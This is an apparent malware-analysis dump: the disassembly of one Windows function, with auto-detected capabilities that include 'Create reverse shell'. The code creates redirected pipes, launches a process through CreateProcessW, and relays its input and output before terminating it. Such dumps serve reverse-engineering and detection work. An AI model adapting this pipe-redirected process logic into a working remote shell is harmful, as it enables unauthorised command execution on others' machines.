Function at 0x5ed518
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb8
xor ecx, ecx
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x244], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
call fcn.004093bc
xor eax, eax
push ebp
push 0x5ed9d6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
add eax, 0x44
mov edx, dword [ebp - 4]
call fcn.004096b8
mov eax, dword [ebp - 0xc]
xor edx, edx
mov dword [eax + 0x40], edx
mov eax, dword [0x616cf0]
cmp dword [eax], 2
jne 0x5ed58c
mov dword [ebp - 0x234], 0xc
mov dword [ebp - 0x22c], 0xffffffff
xor eax, eax
mov dword [ebp - 0x230], eax
jmp 0x5ed594
xor eax, eax
mov dword [ebp - 0x230], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
xor edx, edx
push ebp
push 0x5ed99e
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.kernel32.dll_CreatePipe
test eax, eax
jne 0x5ed5e4
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x40], 1
call fcn.00408ad4
jmp 0x5ed9a8
push 0
push 1
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_SetHandleInformation
push 0
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.kernel32.dll_CreatePipe
test eax, eax
jne 0x5ed61f
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x40], 1
call fcn.00408ad4
jmp 0x5ed9a8
push 0
push 1
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_SetHandleInformation
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x84], 0x101
mov eax, dword [ebp - 0xc]
mov word [eax + 0x88], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov dword [eax + 0x94], edx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov dword [eax + 0x98], edx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov dword [eax + 0x90], edx
mov dword [ebp - 0x240], 0xc
mov dword [ebp - 0x238], 0xffffffff
xor eax, eax
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0xc]
add eax, 0x9c
push eax
mov eax, dword [ebp - 0xc]
add eax, 0x58
push eax
push 0
push 0
push 0x10
push 0xffffffffffffffff
lea eax, [ebp - 0x240]
push eax
push 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x44]
call fcn.00409fe8
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x5ed6d9
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x40], 2
mov eax, dword [ebp - 0xc]
call fcn.004c5724
call fcn.00408ad4
jmp 0x5ed9a8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xa0]
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x228]
xor ecx, ecx
mov edx, 0x200
call fcn.00406ff4
jmp 0x5ed8f9
mov eax, 0x64
call fcn.004c5674
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
cmp dword [ebp - 0x28], 0x103
je 0x5ed734
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x40], 3
jmp 0x5ed906
push 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x200
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 0x20], 0
je 0x5ed84d
lea eax, [ebp - 0x228]
xor ecx, ecx
mov edx, 0x200
call fcn.00406ff4
cmp dword [ebp - 0x24], 0x200
jbe 0x5ed7e3
cmp dword [ebp - 0x20], 0x200
jb 0x5ed824
push 0
lea eax, [ebp - 0x20]
push eax
push 0x200
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x244]
lea edx, [ebp - 0x228]
mov ecx, 0x200
push 0
call fcn.00409aa0
mov edx, dword [ebp - 0x244]
lea eax, [ebp - 8]
call fcn.00409afc
lea eax, [ebp - 0x228]
xor ecx, ecx
mov edx, 0x200
call fcn.00406ff4
cmp dword [ebp - 0x20], 0x200
jae 0x5ed785
jmp 0x5ed824
push 0
lea eax, [ebp - 0x20]
push eax
push 0x200
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x248]
lea edx, [ebp - 0x228]
mov ecx, 0x200
push 0
call fcn.00409aa0
mov edx, dword [ebp - 0x248]
lea eax, [ebp - 8]
call fcn.00409afc
push 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x200
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 0x20], 0
jne 0x5ed75d
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x50]
mov edx, dword [eax]
call dword [edx]
xor eax, eax
push ebp
push 0x5ed8f2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x5ed87e
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.005ed9e4
lea eax, [ebp - 8]
call fcn.004092fc
lea eax, [ebp - 8]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x48]
call fcn.0040979c
jmp 0x5ed8ba
push 0
lea eax, [ebp - 0x20]
push eax
push 1
lea eax, [ebp - 8]
call fcn.00409898
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_WriteFile_1
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00409cb4
mov eax, dword [ebp - 8]
call fcn.004097d4
test eax, eax
jg 0x5ed88e
lea eax, [ebp - 8]
call fcn.004092fc
mov eax, dword [ebp - 0xc]
add eax, 0x48
call fcn.004092fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ed8f9
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x50]
mov edx, dword [eax]
call dword [edx + 4]
ret
mov eax, dword [ebp - 0xc]
cmp byte [eax + 0xe], 0
je 0x5ed6ff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ed9a8
cmp dword [ebp - 0x10], 0
je 0x5ed922
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x14], 0
je 0x5ed931
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x18], 0
je 0x5ed940
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x1c], 0
je 0x5ed94f
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
test eax, eax
je 0x5ed964
push 0
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
test eax, eax
je 0x5ed977
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
add eax, 0x58
xor ecx, ecx
mov edx, 0x44
call fcn.00406ff4
mov eax, dword [ebp - 0xc]
add eax, 0x9c
xor ecx, ecx
mov edx, 0x10
call fcn.00406ff4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ed9dd
lea eax, [ebp - 0x248]
mov edx, 2
call fcn.00409368
lea eax, [ebp - 8]
call fcn.004092fc
lea eax, [ebp - 4]
call fcn.004092d8
ret